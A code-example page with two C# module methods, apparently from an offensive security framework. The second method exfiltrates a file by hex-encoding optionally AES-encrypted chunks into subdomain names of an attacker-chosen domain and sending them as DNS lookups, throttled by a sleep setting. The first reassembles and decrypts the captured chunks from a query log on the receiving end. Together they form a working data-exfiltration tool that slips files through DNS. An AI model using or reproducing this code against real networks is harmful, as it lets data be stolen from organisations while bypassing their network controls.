コード例 #1
0
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }
            if (!OutFolder.Exists)
            {
                return(false);
            }

            AESHelper aes = null;

            if (AESHelper.IsConfigured(this))
            {
                aes = new AESHelper(this);
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Read in RawMode");
            }

            WriteInfo("Start reading file ...");
            Dictionary <string, List <packet> > dic = new Dictionary <string, List <packet> >();

            using (Stream fs = (Stream)File.OpenRead())
                using (StreamReader sr = new StreamReader(fs))
                {
                    string line;
                    while ((line = sr.ReadLine()) != null)
                    {
                        string fileId;
                        packet packet;

                        if (!parse(line, out fileId, out packet))
                        {
                            continue;
                        }

                        if (dic.ContainsKey(fileId))
                        {
                            dic[fileId].Add(packet);
                        }
                        else
                        {
                            List <packet> pc = new List <packet>();
                            pc.Add(packet);
                            dic.Add(fileId, pc);
                        }
                    }
                }

            WriteInfo("Located " + dic.Keys.Count.ToString() + (dic.Keys.Count == 1 ? " file" : " files"));
            if (dic.Keys.Count > 0)
            {
                WriteInfo("Reordering packets ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> p = dic[k];
                    p.Sort(sortPacket);
                }

                WriteInfo("Dump files ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> lp   = dic[k];
                    string        path = OutFolder + System.IO.Path.DirectorySeparatorChar.ToString() + k + ".dat";

                    using (MemoryStream ms = new MemoryStream())
                    {
                        foreach (packet p in lp)
                        {
                            ms.Write(p.Data, 0, p.Data.Length);
                        }

                        if (aes != null)
                        {
                            byte[] d = aes.Decrypt(ms.ToArray());
                            if (d == null)
                            {
                                WriteError("Error in decrypt process");
                                continue;
                            }
                            System.IO.File.WriteAllBytes(path, d);
                        }
                        else
                        {
                            System.IO.File.WriteAllBytes(path, ms.ToArray());
                        }

                        WriteInfo("Created file '" + path + "'", new FileInfo(path).Length.ToString(), ConsoleColor.Green);
                    }
                }
            }
            return(true);
        }
コード例 #2
0
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }

            DnsClient dns  = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
            bool      ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;

            // Get counter
            byte[] g;
            switch (Convert.ToInt32(Target["Size"]))
            {
            case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }

            case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }

            case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }

            case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }

            default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
            }

            // Copy file id
            int headerLength = g.Length + 4; // packetNum

            byte[] data = new byte[63 / 2];  // hex 2 bytes per byte
            Array.Copy(g, data, g.Length);

            AESHelper aes = null;

            if (AESHelper.IsConfigured(this))
            {
                aes = new AESHelper(this);
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Send in RawMode");
            }

            WriteInfo("Start sending file ...");

            byte[] crypted = null;

            if (aes != null)
            {
                using (Stream fs = File.OpenRead())
                    crypted = aes.Encrypt(fs, false, null);
            }

            int position = 0;

            using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
            {
                int total = (int)(fs.Length / (data.Length - headerLength));
                if (fs.Length % (data.Length - headerLength) != 0)
                {
                    total++;
                }
                WriteInfo("Sending " + (total) + " dns querys ...");

                StartProgress(total);

                while (true)
                {
                    // copy counter
                    byte[] p = BitConverterHelper.GetBytesInt32(position);
                    position++;

                    Array.Copy(p, 0, data, headerLength - 4, 4);

                    // read
                    int lee = fs.Read(data, headerLength, data.Length - headerLength);
                    if (lee <= 0)
                    {
                        break;
                    }

                    // generateFile
                    string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;

                    dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
                    if (Sleep > 0)
                    {
                        Thread.Sleep(Sleep);
                    }

                    WriteProgress(position);
                }

                EndProgress();
            }

            WriteInfo("Done");

            return(true);
        }